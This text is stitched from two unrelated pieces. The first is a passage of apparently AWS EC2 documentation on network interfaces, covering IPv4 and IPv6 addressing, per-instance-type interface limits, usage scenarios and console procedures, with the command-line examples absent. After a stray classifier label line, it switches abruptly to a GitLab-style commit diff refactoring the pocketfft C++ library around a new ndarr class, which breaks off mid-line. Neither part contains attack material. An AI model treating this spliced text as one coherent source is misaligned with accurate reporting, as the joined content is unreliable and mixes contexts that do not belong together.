public IPv4 addressing attribute from the subnet. If you later modify the public IPv4 addressing attribute of the subnet, the network interface keeps the setting that was in effect when it was created. If you launch an instance and specify an existing network interface for eth0, the public IPv4 addressing attribute is determined by the network interface. For more information, see Public IPv4 Addresses and External DNS Hostnames. IPv6 addresses for network interfaces You can associate an IPv6 CIDR block with your VPC and subnet, and assign one or more IPv6 addresses from the subnet range to a network interface. All subnets have a modifiable attribute that determines whether network interfaces created in that subnet (and therefore instances launched into that subnet) are automatically assigned an IPv6 address from the range of the subnet. For more information, see IP Addressing Behavior for Your Subnet in the Amazon VPC User Guide. When you launch an instance, the IPv6 address is assigned to the primary network interface (eth0) that's created. For more information, see IPv6 Addresses. Monitoring IP Traffic You can enable a VPC flow log on your network interface to capture information about the IP traffic going to and from a network interface. After you've created a flow log, you can view and retrieve its data in Amazon CloudWatch Logs. For more information, see VPC Flow Logs in the Amazon VPC User Guide. IP Addresses Per Network Interface Per Instance Type The following table lists the maximum number of network interfaces per instance type, and the maximum number of private IPv4 addresses and IPv6 addresses per network interface. The limit for IPv6 addresses is separate from the limit for private IPv4 addresses per network interface. Not all instance types support IPv6 addressing. Network interfaces, multiple private IPv4 addresses, and IPv6 addresses are only available for instances running in a VPC. For more information, see Multiple IP Addresses. For more information about IPv6 in VPC, see IP Addressing in Your VPC in the Amazon VPC User Guide. Instance Type Maximum Network Interfaces IPv4 Addresses per Interface IPv6 Addresses per Interface c1.medium 2 6 IPv6 not supported c1.xlarge 4 15 IPv6 not supported c3.large 3 10 10 c3.xlarge 4 15 15 c3.2xlarge 4 15 15 c3.4xlarge 8 30 30 c3.8xlarge 8 30 30 c4.large 3 10 10 c4.xlarge 4 15 15 c4.2xlarge 4 15 15 c4.4xlarge 8 30 30 c4.8xlarge 8 30 30 c5.large 3 10 10 c5.xlarge 4 15 15 c5.2xlarge 4 15 15 c5.4xlarge 8 30 30 c5.9xlarge 8 30 30 c5.18xlarge 15 50 50 cc2.8xlarge 8 30 IPv6 not supported cr1.8xlarge 8 30 IPv6 not supported d2.xlarge 4 15 15 d2.2xlarge 4 15 15 d2.4xlarge 8 30 30 d2.8xlarge 8 30 30 f1.2xlarge 4 15 15 f1.16xlarge 8 50 50 g2.2xlarge 4 15 IPv6 not supported g2.8xlarge 8 30 IPv6 not supported g3.4xlarge 8 30 30 g3.8xlarge 8 30 30 g3.16xlarge 15 50 50 h1.2xlarge 4 15 15 h1.4xlarge 8 30 30 h1.8xlarge 8 30 30 h1.16xlarge 15 50 50 hs1.8xlarge 8 30 IPv6 not supported i2.xlarge 4 15 15 i2.2xlarge 4 15 15 i2.4xlarge 8 30 30 i2.8xlarge 8 30 30 i3.large 3 10 10 i3.xlarge 4 15 15 i3.2xlarge 4 15 15 i3.4xlarge 8 30 30 i3.8xlarge 8 30 30 i3.16xlarge 15 50 50 m1.small 2 4 IPv6 not supported m1.medium 2 6 IPv6 not supported m1.large 3 10 IPv6 not supported m1.xlarge 4 15 IPv6 not supported m2.xlarge 4 15 IPv6 not supported m2.2xlarge 4 30 IPv6 not supported m2.4xlarge 8 30 IPv6 not supported m3.medium 2 6 IPv6 not supported m3.large 3 10 IPv6 not supported m3.xlarge 4 15 IPv6 not supported m3.2xlarge 4 30 IPv6 not supported m4.large 2 10 10 m4.xlarge 4 15 15 m4.2xlarge 4 15 15 m4.4xlarge 8 30 30 m4.10xlarge 8 30 30 m4.16xlarge 8 30 30 m5.large 3 10 10 m5.xlarge 4 15 15 m5.2xlarge 4 15 15 m5.4xlarge 8 30 30 m5.12xlarge 8 30 30 m5.24xlarge 15 50 50 p2.xlarge 4 15 15 p2.8xlarge 8 30 30 p2.16xlarge 8 30 30 p3.2xlarge 4 15 15 p3.8xlarge 8 30 30 p3.16xlarge 8 30 30 r3.large 3 10 10 r3.xlarge 4 15 15 r3.2xlarge 4 15 15 r3.4xlarge 8 30 30 r3.8xlarge 8 30 30 r4.large 3 10 10 r4.xlarge 4 15 15 r4.2xlarge 4 15 15 r4.4xlarge 8 30 30 r4.8xlarge 8 30 30 r4.16xlarge 15 50 50 t1.micro 2 2 IPv6 not supported t2.nano 2 2 2 t2.micro 2 2 2 t2.small 2 4 4 t2.medium 3 6 6 t2.large 3 12 12 t2.xlarge 3 15 15 t2.2xlarge 3 15 15 x1.16xlarge 8 30 30 x1.32xlarge 8 30 30 x1e.xlarge 3 10 10 x1e.2xlarge 4 15 15 x1e.4xlarge 4 15 15 x1e.8xlarge 4 15 15 x1e.16xlarge 8 30 30 x1e.32xlarge 8 30 30 Scenarios for Network Interfaces Attaching multiple network interfaces to an instance is useful when you want to: • Create a management network. • Use network and security appliances in your VPC. • Create dual-homed instances with workloads/roles on distinct subnets. • Create a low-budget, high-availability solution. Creating a Management Network You can create a management network using network interfaces. In this scenario, the primary network interface (eth0) on the instance handles public traffic and the secondary network interface (eth1) handles backend management traffic and is connected to a separate subnet in your VPC that has more restrictive access controls. The public interface, which may or may not be behind a load balancer, has an associated security group that allows access to the server from the internet (for example, allow TCP port 80 and 443 from 0.0.0.0/0, or from the load balancer) while the private facing interface has an associated security group allowing RDP access only from an allowed range of IP addresses either within the VPC or from the internet, a private subnet within the VPC or a virtual private gateway. To ensure failover capabilities, consider using a secondary private IPv4 for incoming traffic on a network interface. In the event of an instance failure, you can move the interface and/or secondary private IPv4 address to a standby instance. Creating a Management Network Use Network and Security Appliances in Your VPC Some network and security appliances, such as load balancers, network address translation (NAT) servers, and proxy servers prefer to be configured with multiple network interfaces. You can create and attach secondary network interfaces to instances in a VPC that are running these types of applications and configure the additional interfaces with their own public and private IP addresses, security groups, and source/destination checking. Creating Dual-homed Instances with Workloads/Roles on Distinct Subnets You can place a network interface on each of your web servers that connects to a mid-tier network where an application server resides. The application server can also be dual-homed to a backend network (subnet) where the database server resides. Instead of routing network packets through the dual-homed instances, each dual-homed instance receives and processes requests on the front end, initiates a connection to the backend, and then sends requests to the servers on the backend network. Create a Low Budget High Availability Solution If one of your instances serving a particular function fails, its network interface can be attached to a replacement or hot standby instance pre-configured for the same role in order to rapidly recover the service. For example, you can use a network interface as your primary or secondary network interface to a critical service such as a database instance or a NAT instance. If the instance fails, you (or more likely, the code running on your behalf) can attach the network interface to a hot standby instance. Because the interface maintains its private IP addresses, Elastic IP addresses, and MAC address, network traffic begins flowing to the standby instance as soon as you attach the network interface to the replacement instance. Users experience a brief loss of connectivity between the time the instance fails and the time that the network interface is attached to the standby instance, but no changes to the VPC route table or your DNS server are required. Best Practices for Configuring Network Interfaces • You can attach a network interface to an instance when it's running (hot attach), when it's stopped (warm attach), or when the instance is being launched (cold attach). • You can detach secondary (ethN) network interfaces when the instance is running or stopped. However, you can't detach the primary (eth0) interface. • You can attach a network interface in one subnet to an instance in another subnet in the same VPC; however, both the network interface and the instance must reside in the same Availability Zone. • When launching an instance from the CLI or API, you can specify the network interfaces to attach to the instance for both the primary (eth0) and additional network interfaces. • Launching an Amazon Linux or Windows Server instance with multiple network interfaces automatically configures interfaces, private IPv4 addresses, and route tables on the operating system of the instance. • A warm or hot attach of an additional network interface may require you to manually bring up the second interface, configure the private IPv4 address, and modify the route table accordingly. Instances running Amazon Linux or Windows Server automatically recognize the warm or hot attach and configure themselves. • Attaching another network interface to an instance (for example, a NIC teaming configuration) cannot be used as a method to increase or double the network bandwidth to or from the dual-homed instance. • If you attach two or more network interfaces from the same subnet to an instance, you may encounter networking issues such as asymmetric routing. If possible, use a secondary private IPv4 address on the primary network interface instead. For more information, see Assigning a Secondary Private IPv4 Address. If you need to use multiple network interfaces, you must configure the network interfaces to use static routing. For more information, see Configure a Secondary Elastic Network Interface. Working with Network Interfaces You can work with network interfaces using the Amazon EC2 console or the command line. Creating a Network Interface You can create a network interface in a subnet. You can't move the network interface to another subnet after it's created, and you can only attach the network interface to instances in the same Availability Zone. To create a network interface using the console 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces. 3. Choose Create Network Interface. 4. For Description, enter a descriptive name. 5. For Subnet, select the subnet. 6. For Private IP (or IPv4 Private IP), enter the primary private IPv4 address. If you don't specify an IPv4 address, we select an available private IPv4 address from within the selected subnet. 7. (IPv6 only) If you selected a subnet that has an associated IPv6 CIDR block, you can optionally specify an IPv6 address in the IPv6 IP field. 8. For Security groups, select one or more security groups. 9. Choose Yes, Create. To create a network interface using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. Deleting a Network Interface To delete an instance, you must first detach the network interface. Deleting a network interface releases all attributes associated with the interface and releases any private IP addresses or Elastic IP addresses to be used by another instance. To delete a network interface using the console 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces. 3. Select a network interface and choose Delete. 4. In the Delete Network Interface dialog box, choose Yes, Delete. To delete a network interface using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. Viewing Details about a Network Interface You can view all the network interfaces in your account. To describe a network interface using the console 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces. 3. Select the network interface. 4. To view the details, choose Details. To describe a network interface using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. To describe a network interface attribute using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. Attaching a Network Interface When Launching an Instance You can specify an existing network interface or attach an additional network interface when you launch an instance. Note If an error occurs when attaching a network interface to your instance, this causes the instance launch to fail. To attach a network interface when launching an instance using the console 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. Choose Launch Instance. 3. Select an AMI and instance type and choose Next: Configure Instance Details. 4. On the Configure Instance Details page, select a VPC for Network, and a subnet for Subnet. 5. In the Network Interfaces section, the console enables you to specify up to two network interfaces (new, existing, or a combination) when you launch an instance. You can also enter a primary IPv4 address and one or more secondary IPv4 addresses for any new interface. You can add additional network interfaces to the instance after you launch it. The total number of network interfaces that you can attach varies by instance type. For more information, see IP Addresses Per Network Interface Per Instance Type. Note If you specify more than one network interface, you cannot auto-assign a public IPv4 address to your instance. 6. (IPv6 only) If you're launching an instance into a subnet that has an associated IPv6 CIDR block, you can specify IPv6 addresses for any network interfaces that you attach. Under IPv6 IPs, choose Add IP. To add a secondary IPv6 address, choose Add IP again. You can enter an IPv6 address from the range of the subnet, or leave the default Auto-assign value to let Amazon choose an IPv6 address from the subnet for you. 7. Choose Next: Add Storage. 8. On the Add Storage page, you can specify volumes to attach to the instance besides the volumes specified by the AMI (such as the root device volume), and then choose Next: Add Tags. 9. On the Add Tags page, specify tags for the instance, such as a user-friendly name, and then choose Next: Configure Security Group. 10. On the Configure Security Group page, you can select a security group or create a new one. Choose Review and Launch. Note If you specified an existing network interface in step 5, the instance is associated with the security group for that network interface, regardless of any option that you select in this step. 11. On the Review Instance Launch page, details about the primary and additional network interface are displayed. Review the settings, and then choose Launch to choose a key pair and launch your instance. If you're new to Amazon EC2 and haven't created any key pairs, the wizard prompts you to create one. To attach a network interface when launching an instance using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. Attaching a Network Interface to a Stopped or Running Instance You can attach a network interface to any of your stopped or running instances in your VPC, using either the Instances or Network Interfaces pages of the Amazon EC2 console. Note If the public IPv4 address on your instance is released, it does not receive a new one if there is more than one network interface attached to the instance. For more information about the behavior of public IPv4 addresses, see Public IPv4 Addresses and External DNS Hostnames. To attach a network interface to an instance using the Instances page 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Instances. 3. Choose Actions, Networking, Attach Network Interface. 4. In the Attach Network Interface dialog box, select the network interface and choose Attach. To attach a network interface to an instance using the Network Interfaces page 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces. 3. Select the network interface and choose Attach. 4. In the Attach Network Interface dialog box, select the instance and choose Attach. To attach a network interface to an instance using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. Detaching a Network Interface from an Instance You can detach a secondary network interface at any time, using either the Instances or Network Interfaces page of the Amazon EC2 console. To detach a network interface from an instance using the Instances page 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Instances. 3. Choose Actions, Networking, Detach Network Interface. 4. In the Detach Network Interface dialog box, select the network interface and choose Detach. To detach a network interface from an instance using the Network Interfaces page 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces. 3. Select the network interface and choose Detach. 4. In the Detach Network Interface dialog box, choose Yes, Detach. If the network interface fails to detach from the instance, choose Force detachment, and then try again. To detach a network interface using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. Changing the Security Group You can change the security groups that are associated with a network interface. When you create the security group, be sure to specify the same VPC as the subnet for the network interface. Note To change security group membership for interfaces owned by other services, such as Elastic Load Balancing, use the console or command line interface for that service. To change the security group of a network interface using the console 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces. 3. Select the network interface and choose Actions, Change Security Groups. 4. In the Change Security Groups dialog box, select the security groups to use, and choose Save. To change the security group of a network interface using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. Changing the Source or Destination Checking The Source/Destination Check attribute controls whether source/destination checking is enabled on the instance. Disabling this attribute enables an instance to handle network traffic that isn't specifically destined for the instance. For example, instances running services such as network address translation, routing, or a firewall should set this value to disabled. The default value is enabled. To change source/destination checking for a network interface using the console 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces. 3. Select the network interface and choose Actions, Change Source/Dest Check. 4. In the dialog box, choose Enabled (if enabling) or Disabled (if disabling), and Save. To change source/destination checking for a network interface using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. Associating an Elastic IP Address (IPv4) If you have an Elastic IP address (IPv4), you can associate it with one of the private IPv4 addresses for the network interface. You can associate one Elastic IP address with each private IPv4 address. You can associate an Elastic IP address using the Amazon EC2 console or the command line. To associate an Elastic IP address using the console 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces. 3. Select the network interface and choose Actions, Associate Address. 4. In the Associate Elastic IP Address dialog box, select the Elastic IP address from the Address list. 5. For Associate to private IP address, select the private IPv4 address to associate with the Elastic IP address. 6. Choose Allow reassociation to allow the Elastic IP address to be associated with the specified network interface if it's currently associated with another instance or network interface, and then choose Associate Address. To associate an Elastic IP address using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. Disassociating an Elastic IP Address (IPv4) If the network interface has an Elastic IP address (IPv4) associated with it, you can disassociate the address, and then either associate it with another network interface or release it back to the address pool. This is the only way to associate an Elastic IP address with an instance in a different subnet or VPC using a network interface, as network interfaces are specific to a particular subnet. You can disassociate an Elastic IP address using the Amazon EC2 console or the command line. To disassociate an Elastic IP address using the console 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces. 3. Select the network interface and choose Actions, Disassociate Address. 4. In the Disassociate IP Address dialog box, choose Yes, Disassociate. To disassociate an Elastic IP address using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. Assigning an IPv6 Address You can assign one or more IPv6 addresses to a network interface. The network interface must be in a subnet that has an associated IPv6 CIDR block. To assign a specific IPv6 address to the network interface, ensure that the IPv6 address is not already assigned to another network interface. 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces and select the network interface. 3. Choose Actions, Manage IP Addresses. 4. Under IPv6 Addresses, choose Assign new IP. Specify an IPv6 address from the range of the subnet. To let AWS choose an address for you, leave the Auto-assign value. 5. Choose Yes, Update. To assign an IPv6 address to a network interface using the command line Unassigning an IPv6 Address You can unassign an IPv6 address from a network interface using the Amazon EC2 console. 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces and select the network interface. 3. Choose Actions, Manage IP Addresses. 4. Under IPv6 Addresses, choose Unassign for the IPv6 address to remove. 5. Choose Yes, Update. To unassign an IPv6 address from a network interface using the command line Changing Termination Behavior You can set the termination behavior for a network interface that's attached to an instance. You can specify whether the network interface should be automatically deleted when you terminate the instance to which it's attached. You can change the terminating behavior for a network interface using the Amazon EC2 console or the command line. To change the termination behavior for a network interface using the console 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces. 3. Select the network interface and choose Actions, Change Termination Behavior. 4. In the Change Termination Behavior dialog box, select the Delete on termination check box if you want the network interface to be deleted when you terminate an instance. To change the termination behavior for a network interface using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. Adding or Editing a Description You can change the description for a network interface using the Amazon EC2 console or the command line. To change the description for a network interface using the console 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces. 3. Select the network interface and choose Actions, Change Description. 4. In the Change Description dialog box, enter a description for the network interface, and then choose Save. To change the description for a network interface using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2. Adding or Editing Tags Tags are metadata that you can add to a network interface. Tags are private and are only visible to your account. Each tag consists of a key and an optional value. For more information about tags, see Tagging Your Amazon EC2 Resources. To add or edit tags for a network interface using the console 1. Open the Amazon EC2 console at https://console.aws.amazon.com/ec2/. 2. In the navigation pane, choose Network Interfaces. 3. Select the network interface. 4. In the details pane, choose Tags, Add/Edit Tags. 5. In the Add/Edit Tags dialog box, choose Create Tag for each tag to create, and enter a key and optional value. When you're done, choose Save. To add or edit tags for a network interface using the command line You can use one of the following commands. For more information about these command line interfaces, see Accessing Amazon EC2.
__label__pos
0.875468
Commit 415305d7 authored by Martin Reinecke's avatar Martin Reinecke Browse files better interfaces parent 007a96f6 ......@@ -1968,50 +1968,76 @@ template<typename T0> class pocketfft_r using shape_t = vector<size_t>; using stride_t = vector<int64_t>; size_t prod(const shape_t &shape) { size_t res=1; for (auto sz: shape) res*=sz; return res; } template<typename T> class ndarr { private: char *d; const char *cd; shape_t shp; stride_t str; public: ndarr(const void *data_, const shape_t &shape_, const stride_t &stride_) : d(nullptr), cd(reinterpret_cast<const char *>(data_)), shp(shape_), str(stride_) {} ndarr(void *data_, const shape_t &shape_, const stride_t &stride_) : d(reinterpret_cast<char *>(data_)), cd(reinterpret_cast<const char *>(data_)), shp(shape_), str(stride_) {} size_t ndim() const { return shp.size(); } size_t size() const { return prod(shp); } const shape_t &shape() const { return shp; } size_t shape(size_t i) const { return shp[i]; } const stride_t &stride() const { return str; } const int64_t &stride(size_t i) const { return str[i]; } T &operator[](int64_t ofs) { return *reinterpret_cast<T *>(d+ofs); } const T &operator[](int64_t ofs) const { return *reinterpret_cast<const T *>(cd+ofs); } }; template<size_t N, typename Ti, typename To> class multi_iter { public: struct diminfo_io { size_t n; int64_t s_i, s_o; }; vector<diminfo_io> dim; shape_t pos; const ndarr<Ti> &iarr; ndarr<To> &oarr; private: const Ti *p_ii, *p_i[N]; To *p_oi, *p_o[N]; size_t len_i, len_o; int64_t str_i, str_o; int64_t p_ii, p_i[N], str_i; int64_t p_oi, p_o[N], str_o; size_t idim; size_t rem; void advance_i() { for (int i=pos.size()-1; i>=0; --i) { if (i==int(idim)) continue; ++pos[i]; p_ii += dim[i].s_i; p_oi += dim[i].s_o; if (pos[i] < dim[i].n) p_ii += iarr.stride(i); p_oi += oarr.stride(i); if (pos[i] < iarr.shape(i)) return; pos[i] = 0; p_ii -= dim[i].n*dim[i].s_i; p_oi -= dim[i].n*dim[i].s_o; p_ii -= iarr.shape(i)*iarr.stride(i); p_oi -= oarr.shape(i)*oarr.stride(i); } } public: multi_iter(const Ti *d_i, const shape_t &shape_i, const stride_t &stride_i, To *d_o, const shape_t &shape_o, const stride_t &stride_o, size_t idim) : pos(shape_i.size()-1, 0), p_ii(d_i), p_oi(d_o), len_i(shape_i[idim]), len_o(shape_o[idim]), str_i(stride_i[idim]), str_o(stride_o[idim]), rem(1) { dim.reserve(shape_i.size()-1); for (size_t i=0; i<shape_i.size(); ++i) if (i!=idim) { dim.push_back({shape_i[i], stride_i[i], stride_o[i]}); rem *= shape_i[i]; } } multi_iter(const ndarr<Ti> &iarr_, ndarr<To> &oarr_, size_t idim_) : pos(iarr_.ndim(), 0), iarr(iarr_), oarr(oarr_), p_ii(0), str_i(iarr.stride(idim_)), p_oi(0), str_o(oarr.stride(idim_)), idim(idim_), rem(iarr.size()/iarr.shape(idim)) {} void advance(size_t n) { if (rem<n) throw runtime_error("underrun"); ......@@ -2023,14 +2049,18 @@ template<size_t N, typename Ti, typename To> class multi_iter } rem -= n; } const Ti &in (size_t j, size_t i) const { return p_i[j][i*str_i]; } To &out (size_t j, size_t i) const { return p_o[j][i*str_o]; } size_t length_in() const { return len_i; } size_t length_out() const { return len_o; } const Ti &in (size_t i) const { return iarr[p_i[0] + i*str_i]; } const Ti &in (size_t j, size_t i) const { return iarr[p_i[j] + i*str_i]; } To &out (size_t i) { return oarr[p_o[0] + i*str_o]; } To &out (size_t j, size_t i) { return oarr[p_o[j] + i*str_o]; } size_t length_in() const { return iarr.shape(idim); } size_t length_out() const { return oarr.shape(idim); } int64_t stride_in() const { return str_i; } int64_t stride_out() const { return str_o; } size_t remaining() const { return rem; } bool inplace() const { return p_ii==p_oi; } bool inplace() const { return &iarr[0]==&oarr[0]; } bool contiguous_in() const { return str_i==sizeof(Ti); } bool contiguous_out() const { return str_o==sizeof(To); } }; ......@@ -2071,13 +2101,6 @@ template<> struct VTYPE<float> }; #endif size_t prod(const shape_t &shape) { size_t res=1; for (auto sz: shape) res*=sz; return res; } template<typename T> arr<char> alloc_tmp(const shape_t &shape, size_t axsize, size_t elemsize) { ......@@ -2099,19 +2122,17 @@ template<typename T> arr<char> alloc_tmp(const shape_t &shape, return arr<char>(tmpsize*elemsize); } template<typename T> NOINLINE void pocketfft_general_c(const shape_t &shape, const stride_t &stride_in, const stride_t &stride_out, const shape_t &axes, bool forward, const cmplx<T> *data_in, cmplx<T> *data_out, T fct) template<typename T> NOINLINE void pocketfft_general_c( const ndarr<cmplx<T>> &in, ndarr<cmplx<T>> &out, const shape_t &axes, bool forward, T fct) { auto storage = alloc_tmp<T>(shape, axes, sizeof(cmplx<T>)); auto storage = alloc_tmp<T>(in.shape(), axes, sizeof(cmplx<T>)); unique_ptr<pocketfft_c<T>> plan; for (size_t iax=0; iax<axes.size(); ++iax) { constexpr int vlen = VTYPE<T>::vlen; multi_iter<vlen, cmplx<T>, cmplx<T>> it(iax==0? data_in : data_out, shape, iax==0 ? stride_in : stride_out, data_out, shape, stride_out, axes[iax]); multi_iter<vlen, cmplx<T>, cmplx<T>> it(iax==0? in : out, out, axes[iax]); size_t len=it.length_in(); if ((!plan) || (len!=plan->length())) plan.reset(new pocketfft_c<T>(len)); ......@@ -2137,42 +2158,40 @@ template<typename T> NOINLINE void pocketfft_general_c(const shape_t &shape, { it.advance(1); auto tdata = (cmplx<T> *)storage.data(); if (it.inplace() && it.stride_in()==1) // fully in-place forward ? plan->forward((T *)(&it.in(0,0)), fct) : plan->backward((T *)(&it.in(0,0)), fct); else if (it.stride_out()==1) // compute FFT in output location if (it.inplace() && it.contiguous_out()) // fully in-place forward ? plan->forward((T *)(&it.in(0)), fct) : plan->backward((T *)(&it.in(0)), fct); else if (it.contiguous_out()) // compute FFT in output location { for (size_t i=0; i<len; ++i) it.out(0,i) = it.in(0,i); forward ? plan->forward((T *)(&it.out(0,0)), fct) : plan->backward((T *)(&it.out(0,0)), fct); it.out(i) = it.in(i); forward ? plan->forward((T *)(&it.out(0)), fct) : plan->backward((T *)(&it.out(0)), fct); } else { for (size_t i=0; i<len; ++i) tdata[i] = it.in(0,i); tdata[i] = it.in(i); forward ? plan->forward((T *)tdata, fct) : plan->backward((T *)tdata, fct); for (size_t i=0; i<len; ++i) it.out(0,i) = tdata[i]; it.out(i) = tdata[i]; } } fct = T(1); // factor has been applied, use 1 for remaining axes } } template<typename T> NOINLINE void pocketfft_general_hartley(const shape_t &shape, const stride_t &stride_in, const stride_t &stride_out, const shape_t &axes, const T *data_in, T *data_out, T fct) template<typename T> NOINLINE void pocketfft_general_hartley( const ndarr<T> &in, ndarr<T> &out, const shape_t &axes, T fct) { auto storage = alloc_tmp<T>(shape, axes, sizeof(T)); auto storage = alloc_tmp<T>(in.shape(), axes, sizeof(T)); unique_ptr<pocketfft_r<T>> plan; for (size_t iax=0; iax<axes.size(); ++iax) { constexpr int vlen = VTYPE<T>::vlen; multi_iter<vlen, T, T> it(iax==0 ? data_in : data_out, shape, iax==0 ? stride_in : stride_out, data_out, shape, stride_out, axes[iax]); multi_iter<vlen, T, T> it(iax==0 ? in : out, out, axes[iax]); size_t len=it.length_in(); if ((!plan) || (len!=plan->length())) plan.reset(new pocketfft_r<T>(len)); ......@@ -2204,34 +2223,32 @@ template<typename T> NOINLINE void pocketfft_general_hartley(const shape_t &shap it.advance(1); auto tdata = (T *)storage.data(); for (size_t i=0; i<len; ++i) tdata[i] = it.in(0,i); tdata[i] = it.in(i); plan->forward((T *)tdata, fct); // Hartley order it.out(0,0) = tdata[0]; it.out(0) = tdata[0]; size_t i=1, i1=1, i2=len-1; for (i=1; i<len-1; i+=2, ++i1, --i2) { it.out(0,i1) = tdata[i]+tdata[i+1]; it.out(0,i2) = tdata[i]-tdata[i+1]; it.out(i1) = tdata[i]+tdata[i+1]; it.out(i2) = tdata[i]-tdata[i+1]; } if (i<len) it.out(0,i1) = tdata[i]; it.out(i1) = tdata[i]; } fct = T(1); // factor has been applied, use 1 for remaining axes } } template<typename T> NOINLINE void pocketfft_general_r2c(const shape_t &shape, const stride_t &stride_in, const stride_t &stride_out, size_t axis, const T *data_in, cmplx<T> *data_out, T fct) template<typename T> NOINLINE void pocketfft_general_r2c( const ndarr<T> &in, ndarr<cmplx<T>> &out, size_t axis, T fct) { auto storage = alloc_tmp<T>(shape, shape[axis], sizeof(T)); auto storage = alloc_tmp<T>(in.shape(), in.shape(axis), sizeof(T)); pocketfft_r<T> plan(shape[axis]); pocketfft_r<T> plan(in.shape(axis)); constexpr int vlen = VTYPE<T>::vlen; multi_iter<vlen, T, cmplx<T>> it(data_in, shape, stride_in, data_out, shape, stride_out, axis); size_t len=shape[axis]; multi_iter<vlen, T, cmplx<T>> it(in, out, axis); size_t len=in.shape(axis); if (vlen>1) while (it.remaining()>=vlen) { ......@@ -2257,27 +2274,25 @@ template<typename T> NOINLINE void pocketfft_general_r2c(const shape_t &shape, it.advance(1); auto tdata = (T *)storage.data(); for (size_t i=0; i<len; ++i) tdata[i] = it.in(0,i); tdata[i] = it.in(i); plan.forward(tdata, fct); it.out(0,0).Set(tdata[0]); it.out(0).Set(tdata[0]); size_t i=1, ii=1; for (; i<len-1; i+=2, ++ii) it.out(0,ii).Set(tdata[i], tdata[i+1]); it.out(ii).Set(tdata[i], tdata[i+1]); if (i<len) it.out(0,ii).Set(tdata[i]); it.out(ii).Set(tdata[i]); } } template<typename T> NOINLINE void pocketfft_general_c2r(const shape_t &shape_out, const stride_t &stride_in, const stride_t &stride_out, size_t axis, const cmplx<T> *data_in, T *data_out, T fct) template<typename T> NOINLINE void pocketfft_general_c2r( const ndarr<cmplx<T>> &in, ndarr<T> &out, size_t axis, T fct) { auto storage = alloc_tmp<T>(shape_out, shape_out[axis], sizeof(T)); pocketfft_r<T> plan(shape_out[axis]); auto storage = alloc_tmp<T>(out.shape(), out.shape(axis), sizeof(T)); pocketfft_r<T> plan(out.shape(axis)); constexpr int vlen = VTYPE<T>::vlen; multi_iter<vlen, cmplx<T>, T> it(data_in, shape_out, stride_in, data_out, shape_out, stride_out, axis); size_t len=shape_out[axis]; multi_iter<vlen, cmplx<T>, T> it(in, out, axis); size_t len=out.shape(axis); if (vlen>1) while (it.remaining()>=vlen) { ......@@ -2305,18 +2320,18 @@ template<typename T> NOINLINE void pocketfft_general_c2r(const shape_t &shape_ou { it.advance(1); auto tdata = (T *)storage.data(); tdata[0]=it.in(0,0).r; tdata[0]=it.in(0).r; size_t i=1, ii=1; for (; i<len-1; i+=2, ++ii) { tdata[i] = it.in(0,ii).r; tdata[i+1] = it.in(0,ii).i; tdata[i] = it.in(ii).r; tdata[i+1] = it.in(ii).i; } if (i<len) tdata[i] = it.in(0,ii).r; tdata[i] = it.in(ii).r; plan.backward(tdata, fct); for (size_t i=0; i<len; ++i) it.out(0,i) = tdata[i]; it.out(i) = tdata[i]; } } ......@@ -2352,11 +2367,7 @@ stride_t copy_strides(const py::array &arr) { stride_t res(arr.ndim()); for (size_t i=0; i<res.size(); ++i) { res[i] = arr.strides(i)/arr.itemsize(); if (res[i]*arr.itemsize() != arr.strides(i)) throw runtime_error("weird strides"); } res[i] = arr.strides(i); return res; } ......@@ -2383,9 +2394,9 @@ template<typename T> py::array xfftn_internal(const py::array &in, { auto dims(copy_shape(in)); py::array res = inplace ? in : py::array_t<complex<T>>(dims); auto s_i(copy_strides(in)), s_o(copy_strides(res)); pocketfft_general_c<T>(dims, s_i, s_o, axes, fwd, (const cmplx<T> *)in.data(), (cmplx<T> *)res.mutable_data(), fct); ndarr<cmplx<T>> ain(in.data(), dims, copy_strides(in)); ndarr<cmplx<T>> aout(res.mutable_data(), dims, copy_strides(res)); pocketfft_general_c<T>(ain, aout, axes, fwd, fct); return res; } ......@@ -2408,13 +2419,12 @@ template<typename T> py::array rfftn_internal(const py::array &in, auto dims_in(copy_shape(in)), dims_out(dims_in); dims_out[axes.back()] = (dims_out[axes.back()]>>1)+1; py::array res = py::array_t<complex<T>>(dims_out); auto s_i(copy_strides(in)), 